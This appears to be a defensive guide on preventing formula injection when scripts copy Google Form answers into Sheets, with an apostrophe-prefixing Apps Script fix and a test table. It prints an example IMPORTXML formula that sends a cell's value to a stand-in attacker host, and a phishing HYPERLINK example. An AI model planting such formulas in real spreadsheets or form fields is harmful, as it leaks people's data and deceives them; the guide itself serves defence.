Stop formula injection from Google Form answers

Updated 2026-11-06T00:00:00.000Z · 5 min read · Examples use sample data

If a script copies Google Form answers into another tab with setValues, an answer that starts with = can become a working formula. That’s formula injection (also called CSV injection). It’s easy to prevent once you know it exists.

How it happens

Someone types this into your “Your name” field:

=IMPORTXML("https://attacker.example/?q="&B2, "//a")

Google Forms stores it as plain text in the responses tab. But when your script writes that value into a cell with setValues, Google Sheets interprets text that starts with = as a formula — just as it would if you typed it.

What can a formula like that do?

Pull outside data into your sheet with IMPORTXML, IMPORTDATA or IMAGE. Google asks before a sheet first fetches external data, but a busy person clicks Allow.
Send cell values out by putting them in the URL it fetches, like the &B2 above.
Mislead you with HYPERLINK("https://phish.example", "View project brief") — a link you’d trust because it’s in your own sheet.

It also breaks things by accident: an answer starting with +44 20… or - can turn into a number or an error.

The fix

Before writing any answer into a cell, check the first character. If it’s one that Sheets treats as the start of a formula, put an apostrophe in front. The apostrophe tells Sheets “this is text”, and it isn’t shown in the cell:

function safeCell_(v) {
  if (typeof v !== 'string') return v;           // dates, numbers, checkboxes pass through
  return /^[=+\-@\t\r]/.test(v) ? "'" + v : v;
}

// when writing rows
sheet.getRange(row, 1, 1, values.length).setValues([values.map(safeCell_)]);

The characters that matter: = + - @, plus a leading tab or carriage return.

Check that it works

Answer typed into the form	Shown in your sheet	Formula?
`=HYPERLINK("http://x.example","hi")`	`=HYPERLINK("http://x.example","hi")`	No
`+1 555 0100`	`+1 555 0100`	No
`-not sure-`	`-not sure-`	No
`Emma Clarke`	`Emma Clarke`	No

Submit those four answers once and look at the destination tab: every cell shows the text exactly as typed, and clicking a cell shows it in the formula bar with a leading ' — text, not a formula.

Other places to apply it

Any script that copies text from a form, an email, a webhook or a CSV into a spreadsheet.
Exports: if you download the sheet as CSV and someone opens it in Excel, the same characters can trigger formulas there too.

Lead Capture Mini applies this to every value it writes (since version 1.1), and the test suite checks it with =HYPERLINK and =IMPORTXML inputs.